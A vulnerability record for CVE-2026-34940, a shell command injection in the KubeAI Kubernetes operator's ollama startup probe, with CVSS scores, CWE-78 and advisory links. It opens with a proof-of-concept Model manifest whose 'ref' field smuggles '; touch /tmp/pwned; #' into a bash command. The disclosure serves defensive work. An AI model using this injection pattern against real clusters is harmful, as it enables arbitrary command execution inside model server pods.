CVE-2026-34940

apiVersion: kubeai.org/v1 kind: Model metadata: name: malicious-poc spec: # Attackers can inject shell commands into the 'ref' field # Example payload: ; touch /tmp/pwned; ref: "ollama://llama3; touch /tmp/pwned; #" # The resulting command executed by bash -c might look like: # ollama run ollama://llama3; touch /tmp/pwned; # ... imagePullSecrets: [] minReplicas: 1 resources: {}

{"cve": {"id": "CVE-2026-34940", "sourceIdentifier": "[email protected]", "published": "2026-04-06T16:16:37.870", "lastModified": "2026-04-15T21:17:27.010", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "KubeAI is an AI inference operator for kubernetes. Prior to 0.23.2, the ollamaStartupProbeScript() function in internal/modelcontroller/engine_ollama.go constructs a shell command string using fmt.Sprintf with unsanitized model URL components (ref, modelParam). This shell command is executed via bash -c as a Kubernetes startup probe. An attacker who can create or update Model custom resources can inject arbitrary shell commands that execute inside model server pods. This vulnerability is fixed in 0.23.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kubeai:kubeai:*:*:*:*:*:kubernetes:*:*", "versionEndExcluding": "0.23.2", "matchCriteriaId": "81310778-51DF-4D61-9DA1-73EAC537BDCF"}]}]}], "references": [{"url": "https://github.com/kubeai-project/kubeai/security/advisories/GHSA-324q-cwx9-7crr", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/kubeai-project/kubeai/security/advisories/GHSA-324q-cwx9-7crr", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}